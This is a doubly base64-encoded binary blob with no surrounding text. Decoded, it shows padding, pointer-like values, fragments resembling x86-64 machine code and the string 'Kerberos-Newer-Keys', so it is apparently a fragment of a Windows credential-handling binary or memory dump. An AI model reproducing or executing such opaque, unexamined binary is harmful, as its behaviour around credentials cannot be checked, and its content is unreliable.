UFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQLy8vLzhBQUFBQUFRQUFBQUlBQUFBdklBQUFBQUFBQURLaTN5MlpLd0FBelYwZzBtYlUvLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFFQm9IZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDcmtPeGVJc0N5UktYZC9YRnFJaW9WQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1JzQW9BQkFBQUEvLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBU0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSWdBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0lBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFBTUFBQUFDQUFBQVAvLy8vOEFBQUFBQUFBQUFHQmpCSUFCQUFBQUFRQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCaHpCNEFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0hNSGdBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVljd2VBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJoekI0QUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHSE1IZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBd0hnSGdBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE0R1VFZ0FFQUFBQmdad1NBQVFBQUFQQlZCSUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzSEVIZ0FFQUFBQndjd2VBQVFBQUFFTUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUC8vLy8vLy8vLy9BQUFBQUFBQUFBQ0FBQW9LQ2dBQUFHSm9CSUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUFBQUFBQUFBQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZV0pqWkdWbVoyaHBhbXRzYlc1dmNIRnljM1IxZG5kNGVYb0FBQUFBQUFCQlFrTkVSVVpIU0VsS1MweE5UazlRVVZKVFZGVldWMWhaV2dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndjd2VBQVFBQUFBRUNCQWdBQUFBQUFBQUFBQUFBQUFDa0F3QUFZSUo1Z2lFQUFBQUFBQUFBcHQ4QUFBQUFBQUNocFFBQUFBQUFBSUdmNFB3QUFBQUFRSDZBL0FBQUFBQ29Bd0FBd2FQYW95QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlIK0FBQUFBQUFBUVA0QUFBQUFBQUMxQXdBQXdhUGFveUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJSCtBQUFBQUFBQVFmNEFBQUFBQUFDMkF3QUF6Nkxrb2hvQTVhTG9vbHNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUgrQUFBQUFBQUFRSDZoL2dBQUFBQlJCUUFBVWRwZTJpQUFYOXBxMmpJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlIVDJON2crUUFBTVg2Qi9nQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUFBQUFBQUFBQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvQUFBQUFBQUJCUWtORVJVWkhTRWxLUzB4TlRrOVFVVkpUVkZWV1YxaFpXZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRCsvLy8vQUFBQUFBQUFBQUFBQUFBQVdIa0hnQUVBQUFEMHNnZUFBUUFBQVBTeUI0QUJBQUFBOUxJSGdBRUFBQUQwc2dlQUFRQUFBUFN5QjRBQkFBQUE5TElIZ0FFQUFBRDBzZ2VBQVFBQUFQU3lCNEFCQUFBQTlMSUhnQUVBQUFCL2YzOS9mMzkvZjF4NUI0QUJBQUFBK0xJSGdBRUFBQUQ0c2dlQUFRQUFBUGl5QjRBQkFBQUErTElIZ0FFQUFBRDRzZ2VBQVFBQUFQaXlCNEFCQUFBQStMSUhnQUVBQUFBdUFBQUFMZ0FBQVA3Ly8vLy8vLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUlDQWdJQ0FnSUNBZ0lDQWdJQ0FnSURBd01EQXdNREF3QUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUIxbUFBQUFBQUFBQUFBQUFBQUFBQUFHaUJONHRaUDBSR2oyZ0FBK0hXdURiQjZCNEFCQUFBQXNIb0hnQUVBQUFEQWVnZUFBUUFBQU1CNkI0QUJBQUFBMEhvSGdBRUFBQURRZWdlQUFRQUFBQWdBQ1FBQUFBQUF1UG9GZ0FFQUFBQUJBZ0FBQndBQUFBQUNBQUFIQUFBQUNBSUFBQWNBQUFBR0FnQUFCd0FBQUFjQ0FBQUhBQUFBNit2RDZ3d0JRQUFBZGV2ckRBRkFBQUFQaFFDUTZRQUFLQW9BQUFBQUFBQURBQUFBQUFBQUFDaDhCNEFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVB2Ly8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndGd0FBQUFBQUFBUUFBQUFBQUFBQUxId0hnQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQQWpBQUFBQUFBQUJ3QUFBQUFBQUFBZ2ZBZUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURBQkFBQUFQaFFBTURuSUFEQTRQZ3ZaREtBSVBoUUFBa09rQUFQWkRKQUoxQUFBQTlrWWtBblVBQUFBQUFBQUFjQmNBQUFBQUFBQUdBQUFBQUFBQUFEQjhCNEFCQUFBQUFnQUFBQUFBQUFBc2V3ZUFBUUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ3dIUUFBQUFBQUFBVUFBQUFBQUFBQU1INEhnQUVBQUFBQkFBQUFBQUFBQUJoN0I0QUJBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQQWpBQUFBQUFBQUJRQUFBQUFBQUFBOGZBZUFBUUFBQUFFQUFBQUFBQUFBR0hzSGdBRUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdDVUFBQUFBQUFBRkFBQUFBQUFBQUVSOEI0QUJBQUFBQVFBQUFBQUFBQUFZZXdlQUFRQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBb0NnQUFBQUFBQUFZQUFBQUFBQUFBSEhzSGdBRUFBQUFCQUFBQUFBQUFBQmw3QjRBQkFBQUEvUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhBWEFBQUFBQUFBQndBQUFBQUFBQUFrZXdlQUFRQUFBQUlBQUFBQUFBQUFPSHdIZ0FFQUFBQUZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOWtNb0FuVUFBQUJGTSszRDZ3UUFBRWlMeEZkSWcreFFTTWRBeVA3Ly8vOUlpVmdJU1kxQklFaUpYQ1FJVjBpRDdDQklpL2xJaThwSWk5cm9rSkFBQVAvM1NJUHNVRWpIUkNRZy92Ly8vMGlKWENSZ1NJdmFTSXY1U0l2SzZBQUFTWWxiRUVtSmN4aTdBd0FBd09rQUFDZ0tBQUFBQUFBQUNBQUFBQUFBQUFDUWZnZUFBUUFBQUFRQUFBQUFBQUFBT0g0SGdBRUFBQUQyLy8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWNCY0FBQUFBQUFBVUFBQUFBQUFBQUZoK0I0QUJBQUFBQVFBQUFBQUFBQUFhZXdlQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDd0hRQUFBQUFBQUI0QUFBQUFBQUFBY0g0SGdBRUFBQUFCQUFBQUFBQUFBQnA3QjRBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVnbUFBQUFBQUFBRkFBQUFBQUFBQUJBZmdlQUFRQUFBQUVBQUFBQUFBQUFHbnNIZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBU0FBQUFBQUNBYUFXQUFRQUFBTTRPQUFBQUFBQUFCZ0FBQUFBQUFBQ1lmZ2VBQVFBQUFBRUFBQUFBQUFBQUczc0hnQUVBQUFEMS8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFOZ0E0QUFBQUFBQ2dhUVdBQVFBQUFDSUFKQUFBQUFBQW1HZ0ZnQUVBQUFBZ0FDSUFBQUFBQUZocEJZQUJBQUFBemc0QUFBQUFBQUFFQUFBQUFBQUFBRlIrQjRBQkFBQUFBZ0FBQUFBQUFBQnNmZ2VBQVFBQUFPLy8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJ3RndBQUFBQUFBQVFBQUFBQUFBQUFWSDRIZ0FFQUFBQUNBQUFBQUFBQUFEeCtCNEFCQUFBQTYvLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUFsQUFBQUFBQUFCQUFBQUFBQUFBQlVmZ2VBQVFBQUFBSUFBQUFBQUFBQVBINEhnQUVBQUFEby8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFIZ0FnQUFBQUFBQ0FhUVdBQVFBQUFBd0FEZ0FBQUFBQTRHb0ZnQUVBQUFDNFZpRUFBRUVBQUtuL3pmLy9ENFVBU1l0SUdFaUxoQ1FBQkFBQWtKQUFBTWRFSkhSWkJ4b0I2UUFBQUVpTDE0dU1KTUFBa0pBQUFBQUFBSWxFSkhBN3huUUFBS24vemYvL0Q0VUFnL2dDZjBTTG5DU2NBUUFBUVlINzZBTUFBSE5JZyt3Z1NZdlpTWXY0aS9GSUFBQUEvLzlNallRa1dBRUFBQUFBcWYvTi8vOFBoUUNRNlFBQVYwaUQ3Q0JKaTlsSmkvaUw4VWdBQU1kRUpIVHRCaG9CaXdBQUFMaFdJUUFBUVFBQXFmL04vLzhQaFFBbEFnREFTWXZRVFl2QjZ3aVFrSkNRa0pDUWtJbE1KQWlXQlJvQlNBQUFBQUFBQUFELy8weU5qQ1JnQVFBQUFBQUFBQUFBU3dCbEFISUFZZ0JsQUhJQWJ3QnpBQzBBVGdCbEFIY0FaUUJ5QUMwQVN3QmxBSGtBY3dBQUFBWUFBQUFBQUFBQUpJSUhnQUVBQUFBQkFBQUFBQUFBQUNKN0I0QUJBQUFBL3YvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJRQUFBQUFBQUFEWWpnZUFBUUFBQUFFQUFBQUFBQUFBSW5zSGdBRUFBQUR6Ly8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FBQUFBQUFBQUNTTkI0QUJBQUFBQmdBQUFBQUFBQUNzakFlQUFRQUFBUFgvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFvQUFBQUFBQUFBb0k0SGdBRUFBQUFHQUFBQUFBQUFBS3lNQjRBQkFBQUEvUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBREFBQUFBQUFBQUFZalFlQUFRQUFBQUVBQUFBQUFBQUFJbnNIZ0FFQUFBRCsvLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFKQUFBQUFBQUFBS0NCQjRBQkFBQUFBUUFBQUFBQUFBQWlld2VBQVFBQUFQRC8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWNBQUFBQUFBQUEvSUVIZ0FFQUFBQUdBQUFBQUFBQUFLeU1CNEFCQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEUUFBQUFBQUFBQjRqUWVBQVFBQUFBRUFBQUFBQUFBQUluc0hnQUVBQUFBTUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUdBQUFBQUFBQUFLU01CNEFCQUFBQUFRQUFBQUFBQUFBaWV3ZUFBUUFBQVA3Ly8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVUFBQUFBQUFBQUxJMEhnQUVBQUFBQkFBQUFBQUFBQUNKN0I0QUJBQUFBOC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJ3QUFBQUFBQUFBOGpRZUFBUUFBQUFZQUFBQUFBQUFBckl3SGdBRUFBQUQxLy8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBS0FBQUFBQUFBQVBDQkI0QUJBQUFBQmdBQUFBQUFBQUNzakFlQUFRQUFBUHovLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3QUFBQUFBQUFBdUk0SGdBRUFBQUFCQUFBQUFBQUFBQ0o3QjRBQkFBQUEvdi8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1FBQUFBQUFBQUNJalFlQUFRQUFBQUVBQUFBQUFBQUFJbnNIZ0FFQUFBRHcvLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFIQUFBQUFBQUFBTVNCQjRBQkFBQUFCZ0FBQUFBQUFBQ3NqQWVBQVFBQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUEwSUVIZ0FFQUFBQUJBQUFBQUFBQUFDSjdCNEFCQUFBQUR3QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCZ0FBQUFBQUFBQ0FnUWVBQVFBQUFBRUFBQUFBQUFBQUluc0hnQUVBQUFEKy8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQUFBQUFFeUNCNEFCQUFBQUFRQUFBQUFBQUFBaWV3ZUFBUUFBQVBMLy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRUFBQUFBQUFBQWtJd0hnQUVBQUFBQkFBQUFBQUFBQUNKN0I0QUJBQUFBR3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnQUFBQUFBQUFDNGdRZUFBUUFBQUFFQUFBQUFBQUFBSW5zSGdBRUFBQUFKQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTEFBQUFBQUFBQUVpTkI0QUJBQUFBQVFBQUFBQUFBQUFpZXdlQUFRQUFBUFgvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFrQUFBQUFBQUFBR0lJSGdBRUFBQUFCQUFBQUFBQUFBQ0o3QjRBQkFBQUE3Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndBQUFBQUFBQUNJZ1FlQUFRQUFBQVlBQUFBQUFBQUFySXdIZ0FFQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMQUFBQUFBQUFBSkNPQjRBQkFBQUFBUUFBQUFBQUFBQWlld2VBQVFBQUFCUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBQUFBQUF0SXdIZ0FFQUFBQUJBQUFBQUFBQUFDSjdCNEFCQUFBQS92Ly8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCUUFBQUFBQUFBQ1VqUWVBQVFBQUFBRUFBQUFBQUFBQUluc0hnQUVBQUFEei8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhBQUFBQUFBQUFLeUJCNEFCQUFBQUJnQUFBQUFBQUFDc2pBZUFBUUFBQVBYLy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBb0FBQUFBQUFBQVdJSUhnQUVBQUFBR0FBQUFBQUFBQUt5TUI0QUJBQUFBL1AvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURBQUFBQUFBQUFDUWdRZUFBUUFBQUFFQUFBQUFBQUFBSW5zSGdBRUFBQUQrLy8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSkFBQUFBQUFBQUZpTkI0QUJBQUFBQVFBQUFBQUFBQUFpZXdlQUFRQUFBUEQvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFjQUFBQUFBQUFBTElJSGdBRUFBQUFHQUFBQUFBQUFBS3lNQjRBQkFBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRFFBQUFBQUFBQURJamdlQUFRQUFBQUVBQUFBQUFBQUFJbnNIZ0FFQUFBQU1BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJJalpRa0dBRUFBRWlOakNRQUFnQUE2QUFBQUxoV0lRQUFRUUFBa0pDUWtKQ1FBQUM0VmlFQUFFRUFBQUFBQUFBb0NnQUFBQUFBQUFVQUFBQUFBQUFBRUkwSGdBRUFBQUFDQUFBQUFBQUFBSnlCQjRBQkFBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFjQWRUcG9BQUFBU1l0SUdFaUxoQ1FBQkFBQVNJdlhpNHdrQUFEQkJSb0I2UUFBQVA4bEFBQUFBQUFBU0l2WGk0d2t3QUFsQWdEQUJRQUFTSXNSU0R0UUNIVUFkQ1dMQU1kRUpIUWNCeG9CNlFBQUFKQ1FrSkNRa0FBQVNJMXVNRWlORFFCSU85cDBpNFFrYkFFQUFEM29Bd0FBY3dBQUFNZEVKSFFiQnhvQjZRQUFBTUlGR2dIcEFBQUFBQUFBQUxnTEFBQUFBQUFBRkFBQUFBQUFBQUE0Z2dlQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBaUJNQUFBQUFBQUFPQUFBQUFBQUFBQWlDQjRBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQSC8vLzhQQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBSHdBQUFBQUFBQTBBQUFBQUFBQUE0SUVIZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTcvLy8vdzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUVHQisrZ0RBQUJ6QUVnNzJYVC8vMHlOakNTSUFRQUFBQUNGd0hRaFRJMEZBQUFBQUFCSmkwRVlTSTJNSkJBRkFBQUFBQUFBaTRRa21BRUFBRDNvQXdBQWN3QUFBUG9GR2dIcEFBQUFTSUhzNEFBQUFEUGJNOEFBQUFBQUFMQWRBQUFBQUFBQUN3QUFBQUFBQUFEZ2pnZUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURtLy8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThDTUFBQUFBQUFBUUFBQUFBQUFBQVBDUEI0QUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT3YvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCSUpnQUFBQUFBQUE0QUFBQUFBQUFBNEk4SGdBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE2Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVpTmJDVDVTSUhzNEFBQUFE